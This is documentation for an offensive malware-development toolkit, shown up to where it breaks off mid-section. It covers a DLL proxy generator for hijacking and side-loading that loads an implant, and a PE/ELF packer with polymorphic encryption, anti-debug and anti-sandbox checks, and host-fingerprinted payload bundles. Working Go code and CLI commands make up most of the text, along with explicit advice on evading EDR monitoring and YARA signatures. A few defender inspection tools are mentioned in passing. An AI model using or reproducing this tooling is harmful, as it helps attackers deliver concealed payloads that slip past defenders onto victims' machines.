Advanced — DllMain payload load
proxy, err := dllproxy.Generate(
target,
exports,
dllproxy.Options{PayloadDLL: "implant.dll"},
)
The proxy now contains a tiny x64 entry point that runs once on DLL_PROCESS_ATTACH:
cmp edx, 1 ; fdwReason == DLL_PROCESS_ATTACH ?
jne ret_true
sub rsp, 28h ; Win64 shadow space + 16-byte align
lea rcx, [rip+payload_string] ; LPCSTR lpLibFileName
call qword ptr [rip+iat_loadlibrarya]
add rsp, 28h
ret_true:
mov eax, 1
ret
The Windows loader resolves the IAT slot for kernel32!LoadLibraryA before our entry point runs, so the indirect call lands directly in kernel32. Failure of LoadLibraryA is silent — the proxy still returns TRUE, the legitimate forwarders still work, the only signal is the absence of the payload.
Advanced — alternate path scheme
PathSchemeSystem32 produces shorter, more readable forwarder strings but recurses into self if deployed in System32. Safe only for hijack opportunities outside System32 (almost all real ones).
proxy, err := dllproxy.Generate(
"credui.dll",
exports,
dllproxy.Options{PathScheme: dllproxy.PathSchemeSystem32},
)
Advanced — MSVC-shaped output (DOS stub + CheckSum)
For deployments where defenders fingerprint on the absence of a
real DOS stub or a zero-valued optional-header CheckSum, both
flags can be flipped:
proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{
DOSStub: true, // canonical "This program cannot be run in DOS mode."
PatchCheckSum: true, // ImageHlp!CheckSumMappedFile-equivalent
})
DOSStub bumps e_lfanew from 0x40 to 0x80 and embeds the canonical 128-byte MSVC DOS block.
PatchCheckSum reuses pe/cert.PatchPECheckSum after assembly so the field is non-zero and self-consistent.
OPSEC & Detection
| Phase | Telemetry | Counter |
|---|---|---|
| Emission (offline) | None — pure Go, no syscalls, no file opens. | N/A |
| File write to opportunity path | File create event under <writable dir>\<dllname> matches D3-PFV signatures (DLL appearing in non-canonical path next to a PE that imports it). | Drop into a path the EDR doesn't actively watch; randomise drop time. |
| Process load | \\.\GLOBALROOT\SystemRoot\System32\… paths in image-load events stand out — most legitimate DLLs are loaded by short module name only. | Use PathSchemeSystem32 when System32 redirection is not a concern. |
| Forwarder strings on disk | YARA / static-analysis tools matching the GLOBALROOT prefix. | Hex-rotate / RC4 the strings at emission time, decrypt at DllMain (Phase 2 + obfuscation, future work). |
MITRE ATT&CK
| T-ID | Name | D3FEND counter |
|---|---|---|
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | D3-PFV |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | D3-PFV |
Limitations
- COM-private semantics. The MSVC
,PRIVATElinker directive only excludes a symbol from the import library so downstream.lib-based linkers ignore it; at runtime the export is binary-identical to a regular named export.pe/dllproxydoes not need a separate code path — passDllRegisterServer& friends as ordinaryExport{Name: …}entries. - CheckSum + DOS stub are now opt-in.
Options.PatchCheckSumrecomputes IMAGE_OPTIONAL_HEADER.CheckSum (viape/cert.PatchPECheckSum);Options.DOSStubemits the canonical 128-byte MSVC DOS block. Both default to false (preserves the historic minimal-MZ + zero-CheckSum output for callers that don't care). - Forwarder paths are plaintext in
.rdata— easy YARA target. String obfuscation is a Phase 2 candidate.
See also
recon/dllhijack— discovery side of the same chainpe/parse— extracts the input export listmrexodia/perfect-dll-proxy— original GLOBALROOT path trick (C++/Python)namazso/dll-proxy-generator— Rust binary tool we're matching the output shape of
PE Packer
A pure-Go packer for PE/ELF binaries and shellcode. Produces a self-contained executable that decrypts itself at startup and runs the payload — no separate loader, no second stage, no operator-side unpacking step. Single-target packing (one payload, in-place encryption) and multi-target bundling (N payloads, runtime CPUID dispatch) are both first-class.
New here? Skim the Glossary at the bottom of the page — every jargon term used in the rest of this doc is defined there in plain language. Notably SGN, PIC trampoline, RWX, PE32+ / ELF, Static-PIE, PT_LOAD, OEP, TLS callbacks, Imports / IAT, CPUID, PEB, auxv, rep movsb, Brian Raiter shape, Round (in the SGN sense), Payload, yara — most one-liner definitions, all conceptual not API. If a paragraph below stops making sense, the term is probably in the glossary.
MITRE ATT&CK: T1027.002 — Software Packing · T1140 — Deobfuscate/Decode Files or Information
Detection level: Medium-High. Stub bytes are polymorphic per
pack; magic bytes are operator-secret-derived per build. The
structural shape of the produced binary (single-PT_LOAD-RWX ELF for
the all-asm path; appended .mldv section for PackBinary) remains
yara-able regardless.
TL;DR
| You want… | Use | Output size (typical) |
|---|---|---|
| Pack a single PE/ELF that runs natively | packer.PackBinary | Input + ~1-8 KiB stub |
| Wrap raw shellcode into a runnable .exe / .elf (with or without encryption) | packer.PackShellcode | ~400 B plain / ~8 KiB encrypted |
| Pack a payload that fingerprints the host first (multi-target) | packer.PackBinaryBundle + the cmd/bundle-launcher runtime | ~5 MB (Go runtime) |
| Same, but tiny single-file all-asm | packer.PackBinaryBundle + packer.WrapBundleAsExecutableLinux / …Windows | ~470 B Linux · ~740 B Windows |
| Same, with stronger per-payload encryption (AES-128-CTR via AES-NI, Windows) | as above + BundlePayload{CipherType: CipherTypeAESCTR} | +~280 B stub + 176 B round keys per AES-CTR entry |
| Reproducible packs across machines (deterministic ciphertext) | BundlePayload{Key: <16 B>} (operator-supplied key) | Same as the matching cipher |
| Encrypt arbitrary bytes into a blob (no exec) | packer.Pack / packer.Unpack | Input + 32 B header + AES-GCM tag |
| Compose multiple ciphers + permutations | packer.PackPipeline | Same |
| Inspect / extract a maldev artefact (defender) | cmd/packerscope | n/a |
| Visualise entropy + bundle structure | cmd/packer-vis | n/a |
Mental model
Three pipelines, orthogonal:
┌─────────────────────────────────────────────────────────────┐
│ Single-target pipeline (Go binary input) │
│ │
│ payload.exe ──[PackBinary]──► packed.exe │
│ (real PE/ELF) │ │
│ └─ kernel loads → SGN stub │
│ decrypts .text in place │
│ → JMP original entry │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Shellcode pipeline (raw bytes input) │
│ │
│ sc.bin ──[PackShellcode]──► out.exe / out.elf │
│ (raw, position- │ │
│ independent) ├─ plain wrap → minimal host PE/ELF │
│ │ shellcode at e_entry │
│ │ │
│ └─ encrypted wrap → minimal host → │
│ PackBinary → SGN stub envelope │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Multi-target pipeline │
│ │
│ payload-A ──┐ │
│ payload-B ──┼─[PackBinaryBundle]──► bundle blob │
│ payload-C ──┘ │ │
│ + FingerprintPredicate │ │
│ for each ▼ │
│ ┌─[Wrap…]──► single .exe │
│ │ (Go launcher │
│ │ or all-asm) │
│ ▼ │
│ runtime: read CPUID + Win build, │
│ match predicates, decrypt the ONE │
│ matching payload, dispatch. │
└─────────────────────────────────────────────────────────────┘
Both pipelines are pure Go, no cgo. Both produce a runnable executable on disk that the kernel loads normally — there is no operator-side "unpack first then run" step.
Quick start
Single-target
You have a real PE or ELF binary; you want a packed version that runs directly:
package main
import (
"log"
"os"
"github.com/oioio-space/maldev/pe/packer"
)
func main() {
payload, err := os.ReadFile("payload.exe")
if err != nil { log.Fatal(err) }
packed, _, err := packer.PackBinary(payload, packer.PackBinaryOptions{
Format: packer.FormatWindowsExe,
Stage1Rounds: 3, // SGN polymorphic decoder rounds
Compress: true, // LZ4 .text before SGN
AntiDebug: true, // PEB.BeingDebugged + RDTSC delta probe
})
if err != nil { log.Fatal(err) }
if err := os.WriteFile("packed.exe", packed, 0o755); err != nil {
log.Fatal(err)
}
}
CLI equivalent:
$ packer pack -in payload.exe -out packed.exe -format windows-exe \
-rounds 3 -compress -antidebug
The packed binary runs directly: ./packed.exe. The kernel maps it,
the appended stub takes over at the new entry point, peels the SGN
encoding off the .text section in place, optionally LZ4-decompresses,
then jumps to the original entry point. The payload sees a normal
process — its imports are resolved by the kernel (not by us), its TLS
callbacks fire, its language runtime initialises, etc.
Multi-target — operator workflow
You have three distinct payloads, each tuned for a different target environment, and you want a single shippable file that picks the right one at runtime:
# Pick a fresh per-deployment secret. Store it; you'll need it for
# the launcher build.
SECRET="ops-2026-05-09-target-A"
# Build per-target payloads. These can be packer.PackBinary outputs
# (single-target packed binaries), regular ELF/PE binaries, or raw
# shellcode — depends on the runtime model you pick below.
$ build-payload-w11.sh
$ build-payload-w10.sh
$ build-fallback.sh
# Pack the bundle. -secret derives a per-build BundleMagic + footer
# magic via HKDF-SHA256 (RFC 5869, v0.83.0+) so two operators using
# different secrets ship byte-distinct bundles. Each derived field
# uses its own purpose-bound HKDF label, so flipping bits in one
# field gives an attacker no algebraic handle on the others.
$ packer bundle -out bundle.bin -secret "$SECRET" \
-pl payload-w11.exe:intel:22000-99999 \
-pl payload-w10.exe:amd:10000-19999 \
-pl fallback.exe:*:*-*
# Two ways to turn the bundle into a runnable executable. Pick one:
# OPTION A — Go-runtime launcher (~5 MB, full feature set)
$ go build -ldflags "-X main.bundleSecret=$SECRET" \
-o bundle-launcher ./cmd/bundle-launcher
$ packer bundle -wrap bundle-launcher -bundle bundle.bin \
-secret "$SECRET" -out app
# OPTION B — All-asm tiny ELF (~470 B for vendor-aware 1-payload)
# Requires: payload bytes are raw position-independent shellcode,
# NOT a packed PE/ELF. The stub jumps directly into the bytes.
$ # programmatic only:
$ go run path/to/your-build-program.go # uses
# WrapBundleAsExecutableLinux
# Ship app. It dispatches at runtime.
$ ./app
Programmatic equivalent:
intel := [12]byte{'G','e','n','u','i','n','e','I','n','t','e','l'}
amd := [12]byte{'A','u','t','h','e','n','t','i','c','A','M','D'}
profile := packer.DeriveBundleProfile([]byte("ops-2026-05-09-target-A"))
bundle, err := packer.PackBinaryBundle(
[]packer.BundlePayload{
{Binary: w11Payload, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
VendorString: intel,
BuildMin: 22000, BuildMax: 99999,
}},
{Binary: w10Payload, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
VendorString: amd,
BuildMin: 10000, BuildMax: 19999,
}},
{Binary: fallbackPayload, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTMatchAll,
}},
},
packer.BundleOptions{Profile: profile},
)
Operation modes
Mode 1 — Pack / Unpack (blob, no exec)
The simplest layer. Encrypts arbitrary bytes into a self-describing maldev-format blob. The blob is data, not an executable. Use this when the operator's chain reads the blob and passes the plaintext into another step (an injector, a custom loader, a separate decryption pipeline, etc.).
blob, key, err := packer.Pack(payload, packer.Options{})
recovered, err := packer.Unpack(blob, key)
| Property | Value |
|---|---|
| Output | MLDV… blob, ~payload size + 32 B header + AEAD tag |
| Encryption | AES-GCM (default). ChaCha20 / RC4 reserved. |
| Runs by itself? | No — it's a blob, not an exe |
| Key handling | Returned to caller; ship via separate channel |
Avantages: smallest output. Works on any byte stream — PE, ELF, shellcode, JSON config, anything. Good as a building block inside a larger chain.
Inconvénients: the operator (or their loader code) needs the key.
The blob has a MLDV magic at offset 0 — trivially yara-able. Use
PackBinary or wrap the blob in a host PE if you need to ship the
blob standalone.
Mode 2 — PackPipeline / UnpackPipeline (composed blob)
Stack multiple ciphers / compressors / permutations. Each stage is
keyed independently; the operator gets back a PipelineKeys slice
of per-step key material they need to transport alongside the blob
to recover the payload.
pipeline := []packer.PipelineStep{
{Op: packer.OpCompress, Algo: uint8(packer.CompressorFlate)},
{Op: packer.OpCipher, Algo: uint8(packer.CipherAESGCM)},
}
blob, keys, err := packer.PackPipeline(payload, pipeline)
recovered, err := packer.UnpackPipeline(blob, keys)
Same shape as Pack; just stronger obfuscation when the operator
has somewhere to store multiple keys.
Mode 3 — PackBinary (single-target, runs directly)
This is what most operators actually want when they have ONE
payload. Modifies the input PE/ELF in place: encrypts the .text
section with an SGN polymorphic encoder, appends a small CALL+POP+ADD
decoder stub as a new section, rewrites the entry point. Output is a
single self-contained binary the kernel loads normally. Imports
are resolved by the kernel — the loader is the OS, not us. No second
stage. No operator-side unpack.
packed, _, err := packer.PackBinary(input, packer.PackBinaryOptions{
Format: packer.FormatWindowsExe, // or FormatLinuxELF
Stage1Rounds: 3,
Seed: 0, // 0 = crypto-random per pack
Compress: true,
AntiDebug: true,
// Phase 2 PE-only fingerprint defeats — all opt-in, all
// default false (preserves byte-reproducible packs).
RandomizeAll: true,
// Or pick selectively:
// RandomizeStubSectionName — `.mldv` → `.xxxxx` (Phase 2-A)
// RandomizeTimestamp — COFF TimeDateStamp (Phase 2-B)
// RandomizeLinkerVersion — Optional Header (Phase 2-C)
// RandomizeImageVersion — Optional Header (Phase 2-D)
// RandomizeExistingSectionNames — `.text/.data/.rdata` (Phase 2-F-1)
// → random `.xxxxx` per section,
// appended stub name preserved.
// RandomizeJunkSections — append [1, 5] BSS sections (Phase 2-F-2)
// after the stub. File size unchanged
// (uninitialised, zero file backing);
// only NumberOfSections + SizeOfImage
// grow. Defeats "exact section count"
// + "stub is the last header" patterns.
// RandomizePEFileOrder — permute the FILE order of host
// section bodies (Phase 2-F-3-b). VAs,
// relocs, DataDirectory, OEP all
// unchanged — runtime image byte-
// identical. Defeats YARA rules
// anchored at file offsets ("file
// 0x400 = decryption key bytes").
// COFF.PointerToSymbolTable is updated
// when the carrier section moves.
})
| Property | Value |
|---|---|
| Output | Real PE32+ / ELF64 — ./packed.exe runs |
| Encryption | SGN polymorphic encoder (per-round register-randomised) |
| Compression | LZ4 (optional, -compress flag) |
| Anti-debug | Optional PEB + RDTSC probe (Windows only) |
| Runs by itself? | Yes |
| Process tree | One binary (the kernel does the load) |
| Stub size | ~1 KB without -compress, ~8 KB with |
Avantages:
- Drop-in replacement: takes a real binary in, produces a real binary out, runs natively.
- Stub is polymorphic per pack (different bytes for each call).
- No Go runtime, no separate loader file, no operator-side decrypt step.
- Works for both Windows PE and Linux static-PIE ELF.
Inconvénients:
- The
.textsection is now RWX (the stub mutates it during decrypt). Loud signal for any EDR worth its salt. - Imports/exports/resources of the input binary are visible in the
packed output (only
.textis encrypted). For full IAT scrambling you'd compose withpe/morphupstream. - TLS callbacks are not supported (would run before our stub got a
chance to decrypt) — surfaced as
transform.ErrTLSCallbacks.
CLI
$ packer pack -in input.exe -out packed.exe -format windows-exe \
-rounds 3 -compress -antidebug
Mode 4 — PackBinaryBundle + Go-runtime launcher
You have N payloads, each meant for a different target environment. Ship them all in one binary; let the runtime pick.
bundle, err := packer.PackBinaryBundle(payloads, packer.BundleOptions{
FallbackBehaviour: packer.BundleFallbackExit,
Profile: packer.DeriveBundleProfile([]byte(secret)),
})
// Concatenate the bundle onto a pre-built launcher binary.
launcher, _ := os.ReadFile("bundle-launcher")
wrapped := packer.AppendBundleWith(launcher, bundle, profile)
os.WriteFile("app", wrapped, 0o755)
The launcher reads its own binary at startup, locates the embedded
bundle via a trailing 16-byte footer (bundleStartOffset:8 +
FooterMagic:8), reads the host's CPUID vendor and Windows build
number, walks the FingerprintEntry table for a match, decrypts the
matched payload, and dispatches.
Two dispatch paths exposed via MALDEV_REFLECTIVE env var:
| Path | Mechanism | Process tree | Disk artefact |
|---|---|---|---|
| Default | memfd_create + execve (Linux) / temp file + CreateProcess (Windows) | 2 binaries | Linux: none; Windows: TMP/* |
MALDEV_REFLECTIVE=1 | In-process load via pe/packer/runtime.Prepare | 1 binary | none (anonymous mappings) |
| Property | Default | Reflective |
|---|---|---|
| Total size | ~5 MB | ~5 MB |
| Stub | Go runtime | Go + asm trampoline |
| Predicate evaluator | full (CPUID + Win build + Negate flag) | full |
| Payload format | PE/ELF (gets exec'd) | static-PIE ELF (gets mapped in-process) |
Avantages:
- Full FingerprintPredicate evaluator including PT_WIN_BUILD ranges and the Negate flag.
- Three fallback modes (
Exit/First/Crash) for no-match. - Reflective path has zero on-disk plaintext for the matched payload.
Inconvénients:
- Total size is dominated by the Go runtime (~5 MB minimum). Pay this once; subsequent packs of the same launcher reuse the size.
- Reflective load expects the payload to be a kernel-loadable static-PIE ELF — not raw shellcode (use Mode 5 for that).
BundlePayload + FingerprintPredicate — full guide
Both Modes 4 and 5 take a []packer.BundlePayload as input. Each
entry pairs a payload with the rule that decides whether THAT
payload should fire on the current host. New operators commonly find
this two-level structure confusing — this section walks through the
why, the what, and every legal value.
Why a bundle exists (operational need)
You have a payload tuned for Windows 11 Intel and another for Windows 10 AMD. Without a bundle you would either:
- ship two separate binaries and choose the right one out-of-band (impossible without prior recon), or
- ship the wrong one and crash / trip the EDR.
A bundle is one file carrying N payloads + per-host dispatch logic. The wrapped binary boots, reads its own CPUID + Windows build, picks the matching payload, decrypts only that one, JMPs. The non-selected payloads stay encrypted on disk — analysts dumping the bundle without the per-payload XOR keys see noise at every non-active offset.
Mental shape: multi-stage rocket with a runtime selector. You pre-load several stages; the binary picks one to ignite based on where it landed.
BundlePayload — what it carries
type BundlePayload struct {
Binary []byte // executable bytes (PE / ELF / shellcode, mode-dependent)
Fingerprint FingerprintPredicate // "what the host must look like for THIS payload to match"
CipherType uint8 // 0/1 = XOR-rolling (default), 2 = AES-128-CTR (v0.92+)
Key []byte // operator-supplied 16-byte key, nil = pack-time random (v0.92+)
}
Just a pair (payload, firing rule) plus two optional v0.92
per-payload knobs:
CipherTypepicks the encrypt-then-decrypt algorithm for THIS payload. Zero or 1 = the original XOR-rolling cipher (~6-instruction stub-side decrypt loop, every host). 2 = AES-128-CTR via AES-NI (Mode 5 all-asm V2NW stub decrypts at runtime; AES-NI feature bit auto-injected into the entry'sPT_CPUID_FEATURESpredicate so pre-AES-NI hosts skip cleanly). Mix freely within one bundle — each PayloadEntry carries its own type byte.Keyis the operator-supplied 16-byte encryption key. Leave nil and pack-time generates a fresh crypto-random one (the default — preserves per-payload secrecy). Non-nil 16 bytes is used verbatim — enables reproducible packs across machines and HKDF-from-deployment-secret workflows. Any other length returns theErrBundleBadKeyLensentinel.
Assemble N of them, hand to PackBinaryBundle.
FingerprintPredicate — the matching rule
type FingerprintPredicate struct {
PredicateType uint8 // bitmask: which checks to enable
VendorString [12]byte // expected CPUID EAX=0 vendor bytes
BuildMin, BuildMax uint32 // Windows build-number range
CPUIDFeatureMask uint32 // mask over CPUID[1].ECX
CPUIDFeatureValue uint32 // expected value under the mask
Negate bool // invert the overall match outcome
}
PredicateType — the bitmask of active checks
| Constant | Value | Activates |
|---|---|---|
PTCPUIDVendor | 1 << 0 | VendorString against CPUID EAX=0 (12 bytes) |
PTWinBuild | 1 << 1 | OSBuildNumber against [BuildMin, BuildMax] |
PTCPUIDFeatures | 1 << 2 | (CPUID[1].ECX & Mask) == Value |
PTMatchAll | 1 << 3 | wildcard — matches any host |
Combination rules:
- Within ONE predicate: all enabled bits are ANDed. Every active check must pass.
- Across predicates: the first matching entry wins. Order matters — put specific entries first, wildcards last.
VendorString — the three real values
Three exported [12]byte constants cover every consumer x86_64
CPU shipped today:
packer.VendorIntel // "GenuineIntel"
packer.VendorAMD // "AuthenticAMD"
packer.VendorHygon // "HygonGenuine" — Chinese AMD-compatible CPUs
Read only when PTCPUIDVendor is set in PredicateType. Zero/empty
value means "wildcard vendor" (any).
BuildMin / BuildMax — Windows build cheat sheet
The number returned by RtlGetVersion().BuildNumber (== PEB
OSBuildNumber). Useful reference values:
| Build | OS |
|---|---|
| 7600 | Windows 7 |
| 9200 | Windows 8 |
| 10240 | Windows 10 1507 |
| 19041 | Windows 10 2004 |
| 19045 | Windows 10 22H2 |
| 22000 | Windows 11 21H2 |
| 22631 | Windows 11 23H2 |
| 26100 | Windows 11 24H2 |
Range is inclusive. 0 on either side means "unbounded that side":
BuildMin: 22000, BuildMax: 99999→ Windows 11+ onlyBuildMin: 10240, BuildMax: 19999→ Windows 10 onlyBuildMin: 0, BuildMax: 9999→ everything below Windows 10
Read only when PTWinBuild is set.
CPUIDFeatureMask / Value — fine-grained feature gating
Useful bits in CPUID[1].ECX:
| Bit | Feature |
|---|---|
| 0 | SSE3 |
| 9 | SSSE3 |
| 19 | SSE4.1 |
| 20 | SSE4.2 |
| 25 | AES-NI |
| 28 | AVX |
| 31 | Hypervisor present (1 = running in VM) |
Operationally meaningful: bit 31 = anti-sandbox primitive. Setting
Mask = 1 << 31, Value = 0 means "fire only on physical hosts".
Read only when PTCPUIDFeatures is set. Mask = 0 skips the check
even if the bit is enabled in PredicateType.
Negate — invert the predicate
Flips the overall match outcome. Lets operators write "everything
EXCEPT X" rules without enumerating X. As of v0.88.0 honoured by all
three paths: Mode 4 launcher's host-side SelectPayload, the
Go-runtime evaluator, AND the Mode 5 all-asm stub (V2-Negate on Linux,
V2NW on Windows). CLI: append :negate to the -pl spec, e.g.
-pl exclude-vm.exe:intel:0-99999:negate.
Runtime flow (what happens on the target)
[bundled binary boots on target]
↓
1. read CPUID EAX=0 → vendor 12 bytes
2. read CPUID EAX=1 → ECX features
3. read PEB.OSBuildNumber → Windows build
↓
4. for each FingerprintEntry in bundle:
result = AND(active checks)
if Negate: flip
if match: break
↓
5a. match found → XOR-decrypt that payload (16-byte per-payload key) → JMP entry
5b. no match → apply BundleFallbackBehaviour
Exit → ExitProcess(0) silent
Crash → deliberate SIGSEGV (sandbox alert)
First → payload 0 unconditionally (dev / test only)
Other payloads stay ciphertext on disk. Without their per-payload XOR keys, an analyst dumping the bundle sees noise at every non-active offset.
CipherType — per-payload cipher (v0.92+)
Why this matters. Every bundle entry's payload bytes get
encrypted at pack-time and decrypted at runtime. Pre-v0.92 the
cipher was a fixed 16-byte XOR with a rolling key — cheap (~17
bytes of asm) and survives YARA-on-plaintext, but it's not
cryptography: anyone holding the bundle can recover plaintext
from the on-disk key (which is precisely what cmd/packerscope extract demonstrates — the key field sits next to the ciphertext
because the runtime stub needs it). The all-asm wrap is a
delivery-time obfuscation, not a secrecy guarantee.
v0.92 added a second option — proper AES-128-CTR — that operators
can pick per-payload. The wire field lives at PayloadEntry[12];
every runtime evaluator (host-side SelectPayload, Go-runtime
launcher, AND the all-asm V2NW Windows stub) dispatches on it,
which means a single bundle can mix XOR-rolling entries for the
cheap fast-path and AES-CTR entries for the higher-stakes payload.
| Value | Constant | Cipher | Stub cost | When |
|---|---|---|---|---|
| 0 (zero) | — | normalises to CipherTypeXORRolling for backward compat | — | bundles packed before v0.92 |
| 1 | CipherTypeXORRolling | XOR with a 16-byte rolling key (byte XORed against Key[i%16]) | ~17 B decrypt loop | small budget, AES-NI absent, plaintext already self-validating |
| 2 | CipherTypeAESCTR | AES-128-CTR, random IV per pack, 11 round keys shipped in-wire | +281 B in V2NW (148 B AES-NI block decrypt + counter management + dispatch) | proper crypto wanted; the host has AES-NI (every desktop x86-64 since ~2010) |
Decision matrix:
| You want… | Use |
|---|---|
| Smallest stub possible (Linux Mode 5 baseline ~470 B) | CipherTypeXORRolling |
| Stronger crypto (the AES key bytes don't trivially reveal the plaintext to an analyst dumping the bundle) | CipherTypeAESCTR |
| Windows + a payload that's >a few hundred bytes (the +281 B stub overhead amortises) | CipherTypeAESCTR |
| Mix of one decoy XOR payload + one real AES-CTR payload in the same bundle | both — set per-BundlePayload |
| Linux Mode 5 + AES-CTR | not yet — V2-Negate (Linux) stays XOR-rolling-only as of v0.92. Use Mode 4 (Go-runtime launcher) for AES-CTR on Linux. |
| Reproducible ciphertext across machines (XOR-rolling) | CipherTypeXORRolling + operator-supplied BundlePayload.Key |
| AES-CTR but reproducible keys, accepting random IV | CipherTypeAESCTR + BundlePayload.Key (round keys identical across packs; IV+ciphertext differ) |
CipherType=2 wire layout (per entry):
[IV (16 B)] [AES-CTR ciphertext padded to 16-byte multiple] [11 × 16 B = 176 B round keys]
PayloadEntry.Key(16 B) = AES-128 key.PayloadEntry.DataSize= 16 + padded_ciphertext_len + 176.PayloadEntry.PlaintextSize= ORIGINAL plaintext length (not the padded one).UnpackBundletrims the decrypted output back to this.- Round keys are produced at pack-time via
crypto.ExpandAESKey; the all-asm stubMOVDQUs them directly into XMM at runtime, saving the in-stub key-expansion step (~50 B of asm). - Pack-time auto-injects the AES-NI feature bit (
0x02000000) into the entry'sPT_CPUID_FEATURESmask + value via a strict OR (operator-supplied feature constraints survive). Pre-AES-NI hosts fail the predicate and skip the entry — no crash.
Constraints:
- Mutually exclusive with
BundleOptions.FixedKey(the test-determinism switch) — AES-CTR's random IV defeats fixed-key determinism. ReturnsErrCipherTypeFixedKey. - The all-asm Linux V2-Negate stub does NOT dispatch on CipherType
as of v0.92 — only V2NW (Windows) does. CipherType=2 + Linux
Wrap path = host-side via
cmd/bundle-launcheronly.
Worked example — AES-CTR payload:
bundle, _ := packer.PackBinaryBundle([]packer.BundlePayload{{
Binary: shellcode,
CipherType: packer.CipherTypeAESCTR,
Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTMatchAll,
// No need to set CPUIDFeatureMask/Value yourself —
// pack-time auto-injects the AES bit. If you DO set them
// for other constraints (e.g. SSE3 also required), the AES
// bit is OR'd in alongside yours, never overwritten.
},
// Key: nil — pack-time generates a fresh random 16 B AES key.
}}, packer.BundleOptions{})
exe, _ := packer.WrapBundleAsExecutableWindows(bundle)
// Drop on any AES-NI Windows host → V2NW stub: scan loop →
// matched entry → CipherType dispatch → AES-CTR decrypt loop →
// JMP into plaintext.
BundleOptions — bundle-level knobs
type BundleOptions struct {
FallbackBehaviour BundleFallbackBehaviour // Exit / Crash / First — see above
FixedKey []byte // tests only — reuses one XOR key across payloads
Profile BundleProfile // per-build IOC overrides; see Kerckhoffs section
}
Profile carries the per-deployment magics derived from the operator's
secret string via DeriveBundleProfile.
Production callers MUST set a fresh secret per ship to keep YARA
signatures from clustering across deployments.
Worked example — annotated
intel := packer.VendorIntel
amd := packer.VendorAMD
bundle, _ := packer.PackBinaryBundle([]packer.BundlePayload{
// [0] Windows 11 Intel — most specific, evaluated first.
{Binary: w11Payload, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
VendorString: intel,
BuildMin: 22000, BuildMax: 99999,
}},
// [1] Windows 10 AMD only.
{Binary: w10Payload, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
VendorString: amd,
BuildMin: 10240, BuildMax: 19999,
}},
// [2] Anti-sandbox — physical hosts only (hypervisor bit clear).
{Binary: physOnlyPayload, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTCPUIDFeatures,
CPUIDFeatureMask: 1 << 31, // hypervisor bit
CPUIDFeatureValue: 0, // must be 0 = not in a VM
}},
// [3] Wildcard fallback — must come last (first-match wins).
{Binary: genericPayload, Fingerprint: packer.FingerprintPredicate{
PredicateType: packer.PTMatchAll,
}},
}, packer.BundleOptions{
FallbackBehaviour: packer.BundleFallbackExit,
Profile: packer.DeriveBundleProfile([]byte(secret)),
})
How it dispatches:
| Target | Result |
|---|---|
| Win11 Intel desktop | [0] fires |
| Win10 AMD desktop | [1] fires |
| Win10 Intel desktop | [0] / [1] fail vendor or build → [2] checks hypervisor bit; if physical → [2], else → [3] |
| Win11 inside a VM | [0] passes vendor + build → [0] fires (the VM check is a per-payload opt-in, not bundle-wide) |
| Win7 Intel | [0] / [1] fail build → [2] / [3] resolve as above |
| anything exotic | [3] fires |
CLI shorthand
The cmd/packer bundle subcommand exposes a compact spec syntax for
common cases:
packer bundle -out app.bundle \
-pl payload-w11.exe:intel:22000-99999 \
-pl payload-w10.exe:amd:10240-19999 \
-pl fallback.exe:*:*-* \
-fallback exit
# Dry-run on the host — what would fire here?
packer bundle -match app.bundle
# Dump structure (defender-friendly)
packer bundle -inspect app.bundle
# Wrap into a runnable .exe via the launcher
packer bundle -wrap launcher.exe -bundle app.bundle -out final.exe
Vendor * and build * decode to wildcards (PTMatchAll if both, or
the per-bit equivalent for partial wildcards).
Defensive lens (Kerckhoffs)
The wire format is public — what stays operator-private is:
- The
Profilemagics (BundleMagic, FooterMagic, ImageBase, etc.) derived from a per-deployment secret string. - The 16-byte XOR keys baked per payload (random per pack).
Two ships of the same payload set with different secrets produce two binaries with no shared YARA-able structural bytes. An analyst with the binary but not the secret can identify it as a maldev bundle but cannot mechanically align signatures across deployments.
Mode 5 — PackBinaryBundle + all-asm wrap (tiny)
Why this mode exists. Mode 4 ships a working multi-target bundle in ~5 MB because it carries the Go runtime to evaluate the fingerprint predicate. For ops where size matters — a USB drop, an embedded payload inside a Word doc, a TFTP boot stage — that's not an option. Mode 5 replaces the Go runtime with a hand-rolled asm dispatcher that does the same thing in ~470 bytes on Linux or ~740 bytes on Windows: read CPUID, walk the FingerprintEntry table, decrypt the matched payload, JMP into it. Same wire format as Mode 4; the operator chooses the runtime at wrap-time.
Same bundle wire format as Mode 4, but the runtime is a
Builder-emitted x86-64 stub wrapped in a minimal hand-written
ELF / PE32+ (Brian Raiter shape on Linux: Ehdr + 1 PT_LOAD + stub + bundle blob). No Go runtime. The stub does CPUID
dispatch, decrypts the matched payload in place (XOR-rolling
or AES-CTR — operator's per-payload choice, v0.92+) and JMPs
into the matched payload bytes directly.
bundle, _ := packer.PackBinaryBundle(payloads, packer.BundleOptions{Profile: profile})
out, err := packer.WrapBundleAsExecutableLinuxWith(bundle, profile)
os.WriteFile("app", out, 0o755)
| Property | Value |
|---|---|
| Total size | ~470 B Linux PTMatchAll, ~740 B Windows V2NW (XOR-rolling); ~2 KiB wrapped PE with one AES-CTR payload (V2NW + 281 B AES-NI dispatch + 176 B round keys) |
| Stub | Builder-emitted x86-64 + Intel multi-byte NOP polymorphism (3 slots A/B/C, v0.90+) |
| Predicate evaluator | full — PT_MATCH_ALL + PT_CPUID_VENDOR + PT_WIN_BUILD (Windows V2NW) + PT_CPUID_FEATURES + Negate (v0.88+) |
| Cipher dispatch | per-payload CipherType: XOR-rolling default + AES-128-CTR via AES-NI on Windows V2NW (v0.92+; Linux V2-Negate XOR-rolling only) |
| Payload format | Raw shellcode only — stub JMPs into the bytes |
| Process tree | 1 binary (no fork, no execve) |
| Disk artefact | none |
Avantages:
